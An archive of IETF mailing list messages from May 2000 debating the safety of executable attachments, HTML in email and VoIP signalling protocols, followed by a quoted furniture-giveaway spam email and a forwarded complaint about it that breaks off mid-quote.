Received: by ietf.org (8.9.1a/8.9.1a) id UAA18489
	for ietf-outbound.10@ietf.org; Fri, 12 May 2000 20:00:02 -0400 (EDT)
Received: from shell9.ba.best.com (root@shell9.ba.best.com [206.184.139.140])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA18388
	for <ietf@ietf.org>; Fri, 12 May 2000 19:57:20 -0400 (EDT)
Received: (from bovik@localhost)
	by shell9.ba.best.com (8.9.3/8.9.2/best.sh) id QAA11925;
	Fri, 12 May 2000 16:57:19 -0700 (PDT)
Date: Fri, 12 May 2000 16:57:19 -0700 (PDT)
From: "James P. Salsman" <bovik@best.com>
Message-Id: <200005122357.QAA11925@shell9.ba.best.com>
To: JIM@pc.sj.nec.com
Subject: RE: mail sandbox wall authority, inward and outbound
Cc: ietf@ietf.org
In-Reply-To: <F3E15FD680AED311A6E600E0291E108C0713B3@GALATICA>
X-Loop: ietf@ietf.org

Jim,

Thanks for your question:

> How can console.user@home.com know if the attached executible 
> file is safe or not?

If I knew that, I wouldn't be trying to stop complacency 
about the promiscous exchange of self-extracting archives.

The best attempts to address the issues so far involve 
"certificate-signed executables", a cryptological method of 
verifying that some certificate authority approves of a 
given fixed string of bits.  Do a search on that and/or 
"application signing" to learn more.  A caveat in practice, 
though, so far signed executables do not seem to have 
caught on.  At best, they are complicated to get right and 
involve an increased support cost if done wrong.  At worst,
the certificate authorities, who often have a strangle-hold 
on such technologies, often because of poor regulations, 
are too greedy to have helped these catch on yet.

Cheers,
James



From owner-ietf-outbound  Fri May 12 20:30:21 2000
Received: by ietf.org (8.9.1a/8.9.1a) id UAA19045
	for ietf-outbound.10@ietf.org; Fri, 12 May 2000 20:30:02 -0400 (EDT)
Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA18944
	for <ietf@ietf.org>; Fri, 12 May 2000 20:24:53 -0400 (EDT)
From: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
Message-Id: <200005130020.JAA01391@necom830.hpcl.titech.ac.jp>
Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1)
	id JAA01391; Sat, 13 May 2000 09:19:55 +0859
Subject: Re: Any comparison Study on MGCP vs H.323, MGCP vs SIP
In-Reply-To: <57AD78231035CD4B86D4BD0CDC42238A31772A@red-pt-01.redmond.corp.microsoft.com>
 from Christian Huitema at "May 12, 2000 02:55:58 pm"
To: Christian Huitema <huitema@microsoft.com>
Date: Sat, 13 May 2000 09:19:55 +0859 ()
CC: "'Yixin Zhu'" <yixin@xybridge.com>, ietf@ietf.org
X-Mailer: ELM [version 2.4ME+ PL68 (25)]
X-Loop: ietf@ietf.org

Christian;

> 	Do you intend to replace H.323 ? 
> Definitely not. Just look at the picture above, which shows the relaying of
> a call 
> between an SGCP controlled gateway and an H.323 agent. The combination of
> gateways plus call agent forms a distributed H.323 system, which is
> perfectly conforming to the H.323 standard...
> 	If not H.323, why not SIP, then? 
> In fact, when we realized that we could not use H.323 between the call agent
> and the gateways, we tried to base the design of SGCP on SIP. But we
> stumbled on the fact that SIP is a peer to peer protocol, while we needed a
> master slave protocol. However, interworking between SIP and SGCP is very
> easy...

Technical comparisons are irrelevant.

For VoIP over telephony networks (that is, mostly over non-Internet
networks), H.323 and SS7 are the protocols to choose, because they
are defined by ITU-T.

As I pointed it out with regard to iMODE and WAP, an attempt to promote
protocols like SIP, a NAT friendly protocol even more complex than
H.323, was based on a wrong strategy destroying the Internet into a
collection of mostly-non-IP networks connected by application/transport
gateways with mostly-non-IETF application/transport protocols.

For IETF (IETF is for Internet not IP) style VoIP, that is, Internet
telephony, SGCP, MGCP, H.323 and SIP are all wrong that it is a waste
of mailing list bandwidth to compare them.

This mail of mine is not an exception, unless I make the following
advertisement:

	If you are interested in Internet telephony, see you at
	INET'2000 in Yokohama for the presentation of our paper
	"The Simple Internet Phone".

;-)

							Masataka Ohta



From owner-ietf-outbound  Fri May 12 23:40:18 2000
Received: by ietf.org (8.9.1a/8.9.1a) id XAA22604
	for ietf-outbound.10@ietf.org; Fri, 12 May 2000 23:40:02 -0400 (EDT)
Received: from calcite.rhyolite.com (calcite.rhyolite.com [38.159.140.3])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA22566
	for <ietf@ietf.org>; Fri, 12 May 2000 23:37:37 -0400 (EDT)
Received: (from vjs@localhost)
	by calcite.rhyolite.com (8.9.3/calcite) id VAA28412
	for ietf@ietf.org  env-from <vjs>;
	Fri, 12 May 2000 21:37:39 -0600 (MDT)
Date: Fri, 12 May 2000 21:37:39 -0600 (MDT)
From: Vernon Schryver <vjs@calcite.rhyolite.com>
Message-Id: <200005130337.VAA28412@calcite.rhyolite.com>
To: ietf@ietf.org
Subject: Re: HTML in e-mail 
X-Loop: ietf@ietf.org

} From: Christian Huitema <huitema@microsoft.com>

}                        ...  Maps and pictures, songs and recordings come to
} mind. There was a rationale for creating MIME.

Certainly!  there are cases where pictures are best or even necessary.

} Framing the debate as ASCII versus HTML is a bit reductive.

true, but if you could get the HTML above all else enthusiasts to consider
the possibility that the typical ASCII wrapped in HTML email is stupid,
progress might be made.  When was the last time you saw an HTML email
message of any flavor that was not merely pure ASCII (or one of the fancy
character sets that don't need HTML) slightly prettified?

}                                                             The real
} separation here is self-contained versus network based. Carrying a picture
} in a message is definitely valuable, carrying a link to a picture that is
} stored on some random web site creates an obvious privacy risk -- the URL
} itself can be the hidden communication channel that tracks you.

That's an important point about URL'st that I've been trying to make,
apparently with absolutely no success.  However, I'm not sure yours is
the important separation.  Even self-contained pictures can carry security
risks.  What if in the name of compression, pictures are programs that
render themselves?  What about a program that makes navigating among a
bunch of pictures easier, perhaps in the popular style of active buttons
on web pages?  I think the separation is more "active" vs. "static," with
"active" understood by the professionally paranoid who worry about covert
channels and so forth.  Or at least with a sandbox kind of attitude, and
to blazes with the claims that the user unfriendliness of a sandbox trumps
security worries.


  .............
 
] From: "James P. Salsman" <bovik@best.com>

] ...
] > How can console.user@home.com know if the attached executible 
] > file is safe or not?
] 
] If I knew that, I wouldn't be trying to stop complacency 
] about the promiscous exchange of self-extracting archives.
] 
] The best attempts to address the issues so far involve 
] "certificate-signed executables", a cryptological method of 
] verifying that some certificate authority approves of a 
] given fixed string of bits.  Do a search on that and/or 
] "application signing" to learn more.  A caveat in practice, 
] though, so far signed executables do not seem to have 
] caught on.  At best, they are complicated to get right and 
] involve an increased support cost if done wrong.  At worst,
] the certificate authorities, who often have a strangle-hold 
] on such technologies, often because of poor regulations, 
] are too greedy to have helped these catch on yet.

I hope that's not the very strange notion popular in some areas that
authentication and authorization are the same.  That an ActiveX applet is
signed with a large company's key or even my key should *NOT* imply that
is authorized to do anything and everything to your computer.

Never mind that in the case at issue, we should expect that a good version
of the visual basic worm would sign its transmissions with the console
user's key, since one wouldn't want to force the console user do something
so user-unfriendly as type a passphrase merely to sign email.

 ..............


> From: Jacob Palme <jpalme@dsv.su.se>

> ...
> Why should not graphics be of value in e-mail, when it is of
> value in most other media like web pages, books, newspapers,
> magazines, etc? Why should the e-mail medium not benefit
> from graphics to enhance understandability and readability?

>                                    ...  This means that
> neatly formatted messages give a cost/benefit gain, if
> the number of recipients of a message is over a certain
> limit. Thus, neatly formatted messages are more worth the
> cost if you are mailing to a large mailing list than to
> a single recipient.

>                                ... I often include screen
> shots showing how ther software does not work properly.

> ...
> This is, I believe, the crucial point. HTML in e-mail
> has got a bad reputation, not because the idea of
> graphics in e-mail is wrong, but because it is
> used, tooo much, by people sending us things
> we would prefer not to get.


My translation of that is:

  - in a very few cases, such as screen shots of bugs, HTML pictures 
   are worth a 1000 words and the extra trouble required of the recipient
   to deal with their security problems.  Never mind whether a screen
   shot would be better sent as GIF, TIFF, JPG or other forms instead of
   HTML, or whether in practice the HTML would consist of more than an
   <HREF> to a .jpg or .gif elsewhere.

  - experienced people who are not employed by the mass media don't like
   HTML in email in part because it is commonly used if email were a
   cheaper, more direct, and less voluntary kind of broadcast TV.

Many people agree with both sentiments.

They don't address insanity such as Content-Type: application/ms-tnef.
As far as I can tell, that's Microsoft's embrace-and-extend alternative
to the open standard foolishness of sending plaintext ASCII with HTML.
Judging from some of my private correspondents, in practice it cannot be
turned off by experienced, entirely computer literate but not professional
expert users.  As others have pointed out, one of the unintended evils of
such things is that users are trained to open without thinking any and
all attachments.

In other words, those who advocate insecure systems such as Windows 98 or
Windows NT 4.0 as installed by anyone except an expert are not only
culpable for the insecurity of those systems, but also for forcing
100,000,000's of people to develop the inexcusably insecure habit of
unthinkingly opening any and all email attachments.


Vernon Schryver    vjs@rhyolite.com



From owner-ietf-outbound  Sat May 13 03:50:22 2000
Received: by ietf.org (8.9.1a/8.9.1a) id DAA06386
	for ietf-outbound.10@ietf.org; Sat, 13 May 2000 03:50:03 -0400 (EDT)
Received: from prserv.net (out1.prserv.net [32.97.166.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA06355
	for <ietf@ietf.org>; Sat, 13 May 2000 03:43:57 -0400 (EDT)
Received: from cs.columbia.edu ([139.92.232.170])
          by prserv.net (out1) with SMTP
          id <2000051307433325201q04fre>; Sat, 13 May 2000 07:43:34 +0000
Message-ID: <391BC6E1.ECC393E3@cs.columbia.edu>
Date: Fri, 12 May 2000 04:54:57 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
X-Mailer: Mozilla 4.7 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Hubert Chang <HChang@IDXII.NET>
CC: "'Yixin Zhu '" <yixin@xybridge.com>, "'ietf@ietf.org '" <ietf@ietf.org>
Subject: Re: Any comparison Study on MGCP vs H.323, MGCP vs SIP
References: <4339AAD5ABE3D211AA9B006008A0F5CE1332C7@exchange2.idxii.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

http://www.cs.columbia.edu/sip has a FAQ addressing this topic.




From owner-ietf-outbound  Sat May 13 05:20:21 2000
Received: by ietf.org (8.9.1a/8.9.1a) id FAA06908
	for ietf-outbound.10@ietf.org; Sat, 13 May 2000 05:20:02 -0400 (EDT)
Received: from prserv.net (out1.prserv.net [32.97.166.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA06868
	for <ietf@ietf.org>; Sat, 13 May 2000 05:19:38 -0400 (EDT)
Received: from cs.columbia.edu ([139.92.232.23]) by prserv.net (out1) with SMTP
          id <2000051309172625201q04pbe>; Sat, 13 May 2000 09:17:28 +0000
Message-ID: <391BC6E1.ECC393E3@cs.columbia.edu>
Date: Fri, 12 May 2000 04:54:57 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
X-Mailer: Mozilla 4.7 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Hubert Chang <HChang@IDXII.NET>
CC: "'Yixin Zhu '" <yixin@xybridge.com>, "'ietf@ietf.org '" <ietf@ietf.org>
Subject: Re: Any comparison Study on MGCP vs H.323, MGCP vs SIP
References: <4339AAD5ABE3D211AA9B006008A0F5CE1332C7@exchange2.idxii.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

http://www.cs.columbia.edu/sip has a FAQ addressing this topic.




From owner-ietf-outbound  Sat May 13 09:01:02 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA08354
	for ietf-outbound.10@ietf.org; Sat, 13 May 2000 09:00:01 -0400 (EDT)
Received: from mail2.rdc3.on.home.com (mail2.rdc3.on.home.com [24.2.9.41])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA08323
	for <ietf@ietf.org>; Sat, 13 May 2000 08:54:36 -0400 (EDT)
Received: from home.com ([24.114.113.69]) by mail2.rdc3.on.home.com
          (InterMail vM.4.01.02.00 201-229-116) with ESMTP
          id <20000513125431.OKAO413.mail2.rdc3.on.home.com@home.com>;
          Sat, 13 May 2000 05:54:31 -0700
Message-ID: <391D5072.A611B021@home.com>
Date: Sat, 13 May 2000 08:54:10 -0400
From: Garreth Jeremiah <garrethj@home.com>
Reply-To: gjeremia@ca.ibm.com
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: salavat <salavat@UKONLINE.CO.UK>
CC: bbrennan@nbn.net, ietf@ietf.org
Subject: Re: Thought about Security
References: <000001bfbc3f$cebfc8a0$b11686d4@magazov>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

> I think you just should not open an attachments unless you are absolutely
> sure it is safe. I mean you know what is in the attachment and it doesn't
> sound odd like subject ILOVEYOU from IETF mailing list.

Just look at you inbox now - loads of Re: VIRUS WARNING and there were a
few Re: I LOVE YOU messages.  The subject line was a very well
engineered one ( deliberate r not ) and could easily have been any of
thse 
Re: messages



From owner-ietf-outbound  Sat May 13 12:23:37 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA09629
	for ietf-outbound.10@ietf.org; Sat, 13 May 2000 12:23:19 -0400 (EDT)
Received: from furniture-giveaway.com ([204.120.0.7])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA09536
	for <ietf@ietf.org>; Sat, 13 May 2000 12:16:27 -0400 (EDT)
From: <info@furniture-giveaway.com>
To: ietf@ietf.org
Subject: $5000 in Exquisite Quality Home Furnishings Absolutely Free
Date: Sat, 13 May 2000 12:17:51
Message-Id: <899.769784.650847@furniture-giveaway.com>
Reply-To: info@furniture-giveaway.com
Mime-Version: 1.0
Content-Type: text/html; charset="us-ascii"
X-Loop: ietf@ietf.org



<html>
<head>
	<title>BeaverHome - Exquisite Quality Home Furnishings Sensibly Priced</title>
	
</head>

<body>
<table cellspacing="0" cellpadding="0">

<tr>
	
	<td width="90" height="90" rowspan="2" align="left" valign="top" bgcolor="#CC9933">
		<a href="http://furniture-giveaway.com/index.html">
		<img src="http://furniture-giveaway.com/_images/a_logo.gif" border="0" alt="">
		</a>
	</td>
	
	<td width="600" height="70" colspan="2" align="center" valign="middle"
	bgcolor="#cc9933">	
		<a href="http://furniture-giveaway.com/5000giveaway.html" target="_blank">
		<img src="http://furniture-giveaway.com/_banners/5000.gif" border="0" alt="">
		</a>
	</td>
		
</tr>

<tr bgcolor="#cc9933">

	<td height="25" colspan="2" align="right" bordercolor="Green" background="http://furniture-giveaway.com/_images/bg.gif">
		<a href="http://furniture-giveaway.com/index.html" target="_blank"><img src="http://furniture-giveaway.com/_images/bth_home1.gif"
	 	width="100" height="20" border="0" alt="HOME" align="middle"></a><a
	 	href="http://furniture-giveaway.com/flooring/index.html"><img src="http://furniture-giveaway.com/_images/bth_flooring1.gif"
		width="100" height="20" border="0" alt="FLOORING" align="middle"></a><a 
		href="http://furniture-giveaway.com/furniture/index.html"><img src="http://furniture-giveaway.com/_images/bth_furniture1.gif"
 		width="100" height="20" border="0" alt="FURNITURE" align="middle"></a><a
		href="http://furniture-giveaway.com/doors/index.html"><img src="http://furniture-giveaway.com/_images/bth_doors1.gif"
		width="100" height="20" border="0" alt="DOORSandTRIM" align="middle"></a><a
		href="http://furniture-giveaway.com/kitchen/index.html"><img src="http://furniture-giveaway.com/_images/bth_kitchen1.gif" width="100" height="20"
		border="0" alt="KITCHENandBATH" align="middle"></a>
	</td>
	
</tr>

<tr valign="baseline" bgcolor="#CC9933">
	<td>
		<a href="http://furniture-giveaway.com/index.html" target="_blank">
		<img src="http://furniture-giveaway.com/_images/btitl_beaverhome.gif" border="0" alt=""><br>
		</a>
	</td>
	<td colspan="2" align="center" bgcolor="#FFCC66">
	<b><a href="http://furniture-giveaway.com/index.html" target="_blank">WELCOME TO BEAVERHOME</a></b>
	</td>
</tr>


<tr>
	<td height="" valign="top" bgcolor="#FFCC66">	
		<a href="http://furniture-giveaway.com/index.html" target="_blank">
		<img src="http://furniture-giveaway.com/_images/btv_welcome1.gif" border="0" alt=""><br>
		</a>
		<a href="http://furniture-giveaway.com/contact.html" target="_blank">
		<img src="http://furniture-giveaway.com/_images/btv_contact1.gif" border="0" alt=""><br>
		</a>
		<a href="http://furniture-giveaway.com/ordering.html" target="_blank">
		<img src="http://furniture-giveaway.com/_images/btv_ordering1.gif" border="0" alt=""><br>
		</a>
		<a href="http://furniture-giveaway.com/shipping.html" target="_blank">
		<img src="http://furniture-giveaway.com/_images/btv_shipping1.gif" border="0" alt=""><br>
		</a>
		<a href="http://furniture-giveaway.com/survey.html" target="_blank">
		<img src="http://furniture-giveaway.com/_images/btv_survey1.gif" border="0" alt=""><br>
		</a>
		<a href="http://furniture-giveaway.com/privacy.html" target="_blank">
		<img src="http://furniture-giveaway.com/_images/btv_privacy1.gif" border="0" alt=""><br>
		</a>
		<a href="http://furniture-giveaway.com/about.html" target="_blank">
		<img src="http://furniture-giveaway.com/_images/btv_about1.gif" border="0" alt=""><br>
		</a>
	</td>
	
	<td height="100" colspan="2" align="center" bgcolor="#FFFFCC">	
		<a href="http://furniture-giveaway.com/index.html" target="_blank">
		<img src="http://furniture-giveaway.com/_images/head_home.jpg" border="0" align="middle" alt="">
		</a>
	</td>
	
<tr align="left" valign="top" bgcolor="#FFCC66">
	<td>
		<a href="http://furniture-giveaway.com/wny/index.html" target="_blank">
		<img src="http://furniture-giveaway.com/_images/btv_wny1.gif" border="0" alt="">
		</a>
		<br>
		<a href="http://furniture-giveaway.com/40percent.html" target="_blank">
		<img src="http://furniture-giveaway.com/_images/40percent.gif" border="0" alt=""><br>
		<br>
		<a href="http://furniture-giveaway.com/survey.html" target="_blank">
		<img src="http://furniture-giveaway.com/_images/b1_100bucks.gif" border="0" alt="">
		</a>
		</a>
	</td>
	
	<td align="left" bgcolor="White">
	<br>
	 <blockquote>
	 <h2>Find L.G. the Dog <font color="#cc0000">$5,000 BeaverBucks</font> Giveaway</h2>
<br>
<br>

Why...
<br>
<br>

...would <a href="http://furniture-giveaway.com/index.html" target="_blank">BeaverHome</a>, a manufacturer of "Exquisite quality home furnishings, sensibly priced."(TM) give away <a href="http://furniture-giveaway.com/5000giveaway.html" target="_blank">$5,000 BeaverBucks?</a>
<br>
<br>
It's simple. Three reasons!
<br>
<br>
<ol type="1" start="1">
					
					<li>We have proudly admitted that there is not one good brain cell left among our stressed-out marketing Beavers. We are just a bunch of hard-working, hard-playing, fun-loving Beavers. Our web sites are beloved among consumers, as it is our customers that have directed our web site design for the last three years. So, who else to ask how to make our business even better, than you, our customer! We are giving away $5,000 BeaverBucks in exchange for information and for your guidance.

					<li>The transition from Spring to Summer is a wonderful time for our human friends. Beavers are no different. We come out of our lodges, and we sun bathe, and feel all warm and fuzzy. We want one family to feel like a Beaver warming himself in the Spring to Summer transition. What better way to celebrate then to be informed that on the first day of summer 2000, you had won $5,000 dollars to makeover your home?  

					<li>By using the information you provide us in this survey we learn more about what each of you are looking for in home furnishings products. This helps us plan production. We can develop special runs of a particular product. If we plan to produce 100 teak sun loungers, rather than 10, our cost of production goes down by the efficiency of the run. With increases in efficiency, and therefore lower production costs, we can pass on even greater savings to you all, above our already silly BeaverPricing.</ol>

					<h2>Rules</h2>

					<p>Here are the rules...</p>

					<ul type=shape><li type=disc>You must agree to help find L.G. The Beavers need your help. If the Big Beaver does not find his little dog, everyone will be miserable here in the BeaverPond. 
					
					<li type=disc>You must fill-out the questionnaire in its entirety. Any uncompleted questionnaires will not qualify for the draw.
					
					<li type=disc>You agree to accept our weekly e-mailer for a minimum of 12 weeks. If at any time after that you choose to be removed from our e-mail list, we will do so immediately upon your request. It is unlikely anyone would want to be removed, frankly our graphically enhanced e-mailer is so much fun and so well designed, and many people tell us they wait on Saturday afternoon for their arrival. However, if after the 12 weeks you want off the list, we will comply with your request. 

					<li type=disc>$5,000 BeaverBucks can be applied toward any BeaverHome flooring, furniture, door/trim and/or kitchen/bath product, and can be combined with any running specials. 

					<li type=disc>All entrants must be 18 or over, or submit the survey on behalf of their parents. 

					<li type=disc>Beavers, Squirrels and their families CAN NOT participate in this contest!</ul>

					<p>If you accept the rules above, please <a href="http://furniture-giveaway.com/5000.htm">proceed</a> by following the link behind the icon below!</p>
<div align="center">
<a href="http://furniture-giveaway.com/5000giveaway.html" target="_blank">
<img src="http://furniture-giveaway.com/_images/a_5000.gif" border="1" alt="">
</a>
</div>
<br>
<br>
<br>
<div align="center">
<hr width="85%" size="1" noshade>
</div>
If you need assistance with any of our product lines, do not hesitate to give us a call, toll-free at: 1 (888) 595-HOME (4663)!
<br>
<br>
You can reach our Customer Service Beavers Mon-Sat 7am-9pm.

<div align="center">
<hr width="85%" size="1" noshade>
</div>
<br>
In a constant effort to be known as responsible members of the Internet community, <a href="http://furniture-giveaway.com/index.html" target="_blank">BeaverHome</a> will forward any removal requests to the E Mail preference service that is provided by the Direct Marketing Association. The URL is <a href="http://www.e-mps.org/en/" target="_blank">http://www.e-mps.org/en/</a> and is designed to cut down on the amount of commercial e-mail consumers receive in their e-mail. <br><br>

If you have recieved this email in error or would like to be removed, either fill in your email address in the form below and click remove <a href="mailto: info@furniture-giveaway.com? Subject=Remove">&quot;REMOVE&quot;</a> or call our automated removal service toll free 877 899 2399!


<center><form action="http://www.furniture-giveaway.com/cgi-bin/FormMail.cgi" method="POST">
					<input type="hidden" name="recipient" value="info@furniture-giveaway.com">
					<input type="hidden" name="subject" value="E-mail List - furniture-giveaway.com">
					<input type="hidden" name="redirect" value="http://furniture-giveaway.com/thankyou.html">
					<input type="hidden" name="required" value="email">
					<input type="hidden" name="missing_fields_redirect" value="http://furniture-giveaway.com/error.html">
					<input type="text" name="email" value="youremail" size="10" maxlength="30">
					<input type="Radio" name="CONTENT" value="html">html&nbsp;<input type="Radio" name="CONTENT" value="text">text
					<select name="what" size="1">
					<option value="subscribe" selected>subscribe
					<option value="remove">remove
					</select>
					<input type="submit" name="submit" value="submit">
					</form>
					</center>
					
					<hr size="1" width="85%" noshade>

This message and its entire contents are (c)2000 by <a href="http://furniture-giveaway.com/index.html" target="_blank">BeaverHome</a> and may not be reproduced in any form without prior written permission from <a href="http://furniture-giveaway.com/index.html" target="_blank">BeaverHome</a>



</blockquote>
	</td>
	
	<!-- Banner Section Starts -->
	
	<td width="175" align="left" valign="top" bgcolor="#FFFFCC">	
	
	<div align="center"><hr width="150" noshade></div>
	&nbsp;<a href="http://furniture-giveaway.com/5000giveaway.html" target="_blank"><img src="http://furniture-giveaway.com/_images/bn_5000.gif" border="1"></a>
	Enter to win $5000 in BeaverBucks<br>
	<a href="http://furniture-giveaway.com/5000giveaway.html" target="_blank">Read on...</a>
			
	<div align="center"><hr width="150" noshade></div>
	&nbsp;<a href="http://furniture-giveaway.com/flooring/jstone/index.html" target="_blank"><img src="http://furniture-giveaway.com/_images/bn_jerusalem.gif" border="1" alt=""></a>
	LimeStone, from Israel directly to your Home. <br>
	<a href="http://furniture-giveaway.com/flooring/jstone/index.html">Click to learn more...</a> 
	
	<div align="center"><hr width="150" noshade></div>
	&nbsp;<a href="http://furniture-giveaway.com/flooring/rugs/index.html" target="_blank"><img src="http://furniture-giveaway.com/_images/bn_orientalrug.gif" border="1" alt=""></a>
	Introduces the Arabian Knights Collection of "Exquisite Area Rugs"<br>
	<a href="http://furniture-giveaway.com/flooring/rugs/index.html" target="_blank">Read On...</a>
	
	<div align="center"><hr width="150" noshade></div>
	&nbsp;<a href="http://furniture-giveaway.com/furniture/garden/index.html" target="_blank"><img src="http://furniture-giveaway.com/_images/bn_garden.gif" border="1" alt=""></a>
	All Garden Furniture, 15% off.<br>
	<a href="http://furniture-giveaway.com/furniture/garden/catalog.html" 
	target="_blank">Click here...</a>

	<div align="center"><hr width="150" noshade></div>
	&nbsp;<a href="http://furniture-giveaway.com/flooring/hardwood/index.html" target="_blank"><img src="http://furniture-giveaway.com/_images/bn_hardfloor.gif" border="1" alt=""></a>
	Hot Prices on Ash and Cherry<br>
	<a href="http://furniture-giveaway.com/flooring/hardwood/special.html">Check 'em out...</a>

	<div align="center"><hr width="150" noshade></div>
	&nbsp;<a href="http://furniture-giveaway.com/furniture/leather/index.html" target="_blank"><img src="http://furniture-giveaway.com/_images/bn_leather.gif" border="1" alt=""></a>
	Overstock Model Blowout!
	<a href="http://furniture-giveaway.com/furniture/leather/special.html" target="_blank"><br>Read
	On...</a>

	<div align="center"><hr width="150" noshade></div>
	&nbsp;<a href="http://www.furniture-giveaway.com/furniture/solidwood/catalog.html" target="_blank"><img src="http://www.furniture-giveaway.com/_images/bn_bedroom.gif" border="1" alt=""></a>
	Solid Hardwood Bedroom and Dining Furniture.<br>
	<a href="http://www.furniture-giveaway.com/furniture/solidwood/catalog.html" target="_blank">Read On...</a>
	
	<br>
	<br>
	<br>
	
	</td>
	
	<!-- Banner Section Ends -->
</tr>
		

</tr>
	

<tr valign="top" bgcolor="#FFCC66">
	<td valign="top">	
	<img src="http://furniture-giveaway.com/_images/tollfree.gif" border="0" alt="">
	</td>
	<td>
	</td>
	<td>
		<div align="center">
		<a href="mailto: info@bigbucksgiveaway.com">Send Us E-Mail</a>
		</div>
	</td>
</tr>
</table>



</body>
</html>



From owner-ietf-outbound  Sat May 13 16:55:11 2000
Received: by ietf.org (8.9.1a/8.9.1a) id QAA11687
	for ietf-outbound.10@ietf.org; Sat, 13 May 2000 16:54:38 -0400 (EDT)
Received: from mtiwmhc26.worldnet.att.net (mtiwmhc26.worldnet.att.net [204.127.131.51])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA11627;
	Sat, 13 May 2000 16:48:50 -0400 (EDT)
Received: from guy-fielder ([12.74.56.121]) by mtiwmhc26.worldnet.att.net
          (InterMail vM.4.01.02.39 201-229-119-122) with ESMTP
          id <20000513204820.JICL9011.mtiwmhc26.worldnet.att.net@guy-fielder>;
          Sat, 13 May 2000 20:48:20 +0000
Message-Id: <4.2.2.20000513154532.00afa360@postoffice.worldnet.att.net>
X-Sender: glfielder@postoffice.worldnet.att.net
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 
Date: Sat, 13 May 2000 15:46:58 -0500
To: iesg@ietf.org, ietf@ietf.org
From: Guy Fielder <glfielder@att.net>
Subject: Fwd: $5000 in Exquisite Quality Home Furnishings Absolutely
  Free
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_17877473==_.ALT"
X-Loop: ietf@ietf.org

--=====================_17877473==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed


Someone is using your mailing list for spam!!!!

>Return-Path: <info@furniture-giveaway.com>
>Received: from ogopogo.flash.net ([209.30.2.14])
>           by mtiwgwc28.worldnet.att.net
>           (InterMail vM.4.01.02.39 201-229-119-122) with ESMTP
>           id 
> <20000513162724.ILPL21166.mtiwgwc28.worldnet.att.net@ogopogo.flash.net>
>           for <glfielder@worldnet.att.net>; Sat, 13 May 2000 16:27:24 +0000
>Received: from ietf.org (odin.ietf.org [132.151.1.176])
>         by ogopogo.flash.net (8.9.3/Pro-8.9.3) with ESMTP id LAA06039;
>         Sat, 13 May 2000 11:27:23 -0500 (CDT)
>From: info@furniture-giveaway.com
>Received: from furniture-giveaway.com ([204.120.0.7])
>         by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA09534
>         for <ietf-123-outbound.09@ietf.org>; Sat, 13 May 2000 12:16:27 
> -0400 (EDT)
>To: ietf-123-outbound.09@ietf.org
>Subject: $5000 in Exquisite Quality Home Furnishings Absolutely Free
>Date: Sat, 13 May 2000 12:17:51
>Message-Id: <242.48444.250022@furniture-giveaway.com>
>Reply-To: info@furniture-giveaway.com
>Mime-Version: 1.0
>Content-Type: text/html; charset="us-ascii"
>
><http://furniture-giveaway.com/index.html>
><http://furniture-giveaway.com/index.html>WELCOME TO BEAVERHOME
><http://furniture-giveaway.com/index.html>
><http://furniture-giveaway.com/contact.html>
><http://furniture-giveaway.com/ordering.html>
><http://furniture-giveaway.com/shipping.html>
><http://furniture-giveaway.com/survey.html>
><http://furniture-giveaway.com/privacy.html>
><http://furniture-giveaway.com/about.html>
>
>
>
>
>Find L.G. the Dog $5,000 BeaverBucks Giveaway
>
>
>
>
>
>
>
>>Why...
>>
>>...would <http://furniture-giveaway.com/index.html>BeaverHome, a 
>>manufacturer of "Exquisite quality home furnishings, sensibly 
>>priced."(TM) give away 
>><http://furniture-giveaway.com/5000giveaway.html>$5,000 BeaverBucks?
>>
>>It's simple. Three reasons!
>>    * We have proudly admitted that there is not one good brain cell left 
>> among our stressed-out marketing Beavers. We are just a bunch of 
>> hard-working, hard-playing, fun-loving Beavers. Our web sites are 
>> beloved among consumers, as it is our customers that have directed our 
>> web site design for the last three years. So, who else to ask how to 
>> make our business even better, than you, our customer! We are giving 
>> away $5,000 BeaverBucks in exchange for information and for your guidance.
>>    * The transition from Spring to Summer is a wonderful time for our 
>> human friends. Beavers are no different. We come out of our lodges, and 
>> we sun bathe, and feel all warm and fuzzy. We want one family to feel 
>> like a Beaver warming himself in the Spring to Summer transition. What 
>> better way to celebrate then to be informed that on the first day of 
>> summer 2000, you had won $5,000 dollars to makeover your home?
>>    * By using the information you provide us in this survey we learn 
>> more about what each of you are looking for in home furnishings 
>> products. This helps us plan production. We can develop special runs of 
>> a particular product. If we plan to produce 100 teak sun loungers, 
>> rather than 10, our cost of production goes down by the efficiency of 
>> the run. With increases in efficiency, and therefore lower production 
>> costs, we can pass on even greater savings to you all, above our already 
>> silly BeaverPricing.
>>
>>
>
>Rules
>
>
>
>>Here are the rules...
>>    * You must agree to help find L.G. The Beavers need your help. If the 
